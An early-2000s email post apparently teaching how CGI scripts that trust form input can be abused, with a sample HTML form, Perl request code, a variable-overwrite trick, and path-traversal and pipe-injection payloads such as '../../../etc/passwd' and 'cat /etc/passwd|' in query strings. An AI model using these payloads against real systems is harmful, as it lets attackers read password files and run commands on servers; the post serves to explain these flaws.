|
Subject: simple cgi exploiting Date: Fri, 30 Aug 2002 00:19:44 +0100 What follows is a simple HTML page that creates a form and sends the data to a CGI program: <html> <head> <title>Bad Assumptions: Example 1</title> </head> <body> Bad Assumptions: Example 1 <form action="/cgi-bin/example1.cgi"> Name: <input type="text" name="name"> <br> Phone: <input type="text" name="phone"> <br> <input type="submit"> </form> </body> </html> If the author of the CGI program assumes the only data she will recieve are name and phone, she could be mistaken. It would be very easy for a hacker to execute the CGI program using different or additional feilds. The hacker has a choice of methods: ..Run the CGI program with the GET method by typing the appropriate name/value pairs into the location bar in the browser: eg. http://localhost/cgi-bin/example1.cgi?name=john&phone=123456&data=bad+data Notice the program is passed a value for name, phone and data even though data is not in the feild in the HTML form. ..Run the CGI program by making a telnet connection from a shell: Machine1$ telnet localhost 80 Trying 127.0.0.1.... Connected to localhost. Escape character is '^]'. Get /cgi-bin/example1.cgi?name=john&phone=123456&data=bad+data HTTP/1.0 ..Use a standalone program to make a post connection: #!/usr/bin/perl -w use HTTP::Request::Common qw(POST); use LWP::UserAgent; $ua = LWP::UserAgent->new(); my $req = POST 'http://localhost/cgi-bin/example1.cgi', [ name => 'john', phone => '312.555.1212', data => 'bad data' ]; $content = $ua->request($req)->as_string; print $content; These three methods can be used to abuse the assumptions in the expected fields. Here is an example that creates variables based on the name of the field: the field name willl be stored in the variable $name; the field phone will be stored in the variable $phone: @params = $query->param(); foreach $param (@params) { ${param} = $query->param($param); With this code the hacker can create any variable he wants simply by including this in the query string sent to the server: http://www.example.com/cgi-bin/example.cgi?new_var=test Consider what would happen if the program that contains the perl code had a variable named $SEND_MAIL that included the location of sendmail (usually /usr/lib/sendmail). To use a different program to send mail (or worse), a hacker could simply use this query string: http://www.example.com/cgi-bin/example.cgi?SEND_MAIL=program Exploiting trust in filename characters Hackers can easily put nasty things in file names, allowing all sorts of nasty problems. For instance, lets say that a form has a hidden field: <input type="hidden" name="filename" value="file1"> The CGI program opens this file as follows: $filename = '/path/to/files/' . $postedfilename; open FH, $filename; A clever hacker can post a file name of '../../../etc/passwd'. This filename would transverse the directory tree from /path/to/file and locate the file /etc/passwd. If a hacker obtains a copy of this file he will have a list of all the users and their passwords (if they are not shadowed) on the machine including ROOT. Or the hacker can post a file name such as '../../../bin/cat/etc/passwd|'. This string executes perl code that opens a pipe to the operating system, which would effectively display the contents of the passwd file by printing it to the screen. Another common hack is to input a string that will open a pipe to the operating system instead of to a file on disk. For example if a hacker invokes this program: open FH, "$postedfilename" or die $!; while (<FH> ) { # process and then print file } with the URL http://www.example.com/cgi-bin/example.cgi?file=cat+%2Fetc%2Fpasswd%7C the value of the $postedfilename would be cat /etc/passwd|. Therefore the resulting open() would be this: open FH, "cat /etc/passwd|"; This ends up displaying /etc/passwd to the hacker. Thats it for now